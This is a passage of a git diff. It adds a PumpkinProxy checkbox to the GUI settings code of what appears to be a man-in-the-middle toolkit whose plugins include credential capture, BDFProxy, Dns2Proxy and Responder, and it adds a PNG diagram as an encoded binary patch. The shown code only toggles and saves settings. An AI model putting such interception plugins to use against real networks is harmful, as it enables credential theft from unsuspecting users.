self.CB_bdfproxy.setEnabled(True) self.CB_dns2proxy.setEnabled(True) self.CB_responder.setEnabled(True) + self.CB_pumpkinPro.setEnabled(True) else: self.CB_monitorURL.setEnabled(False) self.CB_Cread.setEnabled(False) self.CB_bdfproxy.setEnabled(False) self.CB_dns2proxy.setEnabled(False) self.CB_responder.setEnabled(False) + self.CB_pumpkinPro.setEnabled(False) self.FSettings.Settings.set_setting('dockarea','dock_credencials',self.CB_Cread.isChecked()) self.FSettings.Settings.set_setting('dockarea','dock_urlmonitor',self.CB_monitorURL.isChecked()) self.FSettings.Settings.set_setting('dockarea','dock_bdfproxy',self.CB_bdfproxy.isChecked()) self.FSettings.Settings.set_setting('dockarea','dock_dns2proxy',self.CB_dns2proxy.isChecked()) self.FSettings.Settings.set_setting('dockarea','dock_responder',self.CB_responder.isChecked()) + self.FSettings.Settings.set_setting('dockarea','dock_PumpkinProxy',self.CB_pumpkinPro.isChecked()) self.FSettings.Settings.set_setting('dockarea','advanced',self.CB_ActiveMode.isChecked()) self.dockInfo['HTTP-Requests']['active'] = self.CB_monitorURL.isChecked() self.dockInfo['HTTP-Authentication']['active'] = self.CB_Cread.isChecked() self.dockInfo['BDFProxy']['active'] = self.CB_bdfproxy.isChecked() self.dockInfo['Dns2Proxy']['active'] = self.CB_dns2proxy.isChecked() self.dockInfo['Responder']['active'] = self.CB_responder.isChecked() + self.dockInfo['PumpkinProxy']['active'] = self.CB_pumpkinPro.isChecked() if self.CB_ActiveMode.isChecked(): self.AreaWidgetLoader(self.dockInfo) self.checkDockArea.emit(self.AllDockArea) diff --git a/docs/proxyscenario.png b/docs/proxyscenario.png new file mode 100644 index 0000000000000000000000000000000000000000..b6d767a6cda00ca6062121f1863dcb8713055e0b GIT binary patch literal 89741 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 